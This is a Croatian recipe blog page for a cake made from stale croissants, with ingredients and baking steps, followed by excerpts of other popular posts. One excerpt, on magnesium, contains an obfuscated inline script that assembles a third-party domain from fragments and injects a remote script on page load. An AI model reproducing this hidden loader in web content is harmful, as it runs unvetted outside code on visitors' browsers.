KOLAČ OD STARIH KROASANA 🥐





Kolač od starih kroasana 



Ovaj kolač dobar je način da se "riješite” starih kroasana koji su postali suhi i neukusni, a koji su ispečeni prije dan ili dva.




Kolač od starih kroasana 


Sastojci:

  • 10 starih kroasana
  • 500 ml vrhnja za šlag
  • 250 ml punomasnog mlijeka
  • 180 g tamne čokolade
  • 100 g smeđeg šećera
  • 100 g bijelog šećera
  • 80 ml slatkog vrhnja
  • 30 g maslaca
  • 7 velikih jaja
  • 2 čajne žličice ekstrakta vanilije
  • 1 čajna žličica mljevenog cimeta




Priprema:

  1. Narežite stare kroasane na komade otprilike iste veličine. Rasporedite ih po pravokutnoj vatrostalnoj posudi za pečenje kolača koju ste prethodno namastili s nešto maslaca.
  2. Napravite kremu: u većoj zdjeli pomiješajte jaja, vrhnje za šlag, mlijeko, smeđi i obični šećer, ekstrakt vanilije i cimet u prahu. Dobro izmiješajte, pa dobivenu smjesu prelijte preko kroasana. Pustite da kroasani “popiju” smjesu oko 15 minuta.
  3. Potom stavite kolač u prethodno zagrijanu pećnicu na 180 Celzijevih stupnjeva. Pecite oko 20 do 25 minuta dok se kolač ne stisne i ne dobije lijepu zlatnu boju.
  4. Napravite glazuru: zagrijte u mikrovalnoj pećnici 80 mililitara slatkog vrhnja i prelijte ga preko 180 grama nasjeckane tamne čokolade. Miješajte dok se sastojci ne povežu, a čokolada ne rastopi. Poslužite pečeni kolač od starih kroasana s pripremljenim umakom od čokolade. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više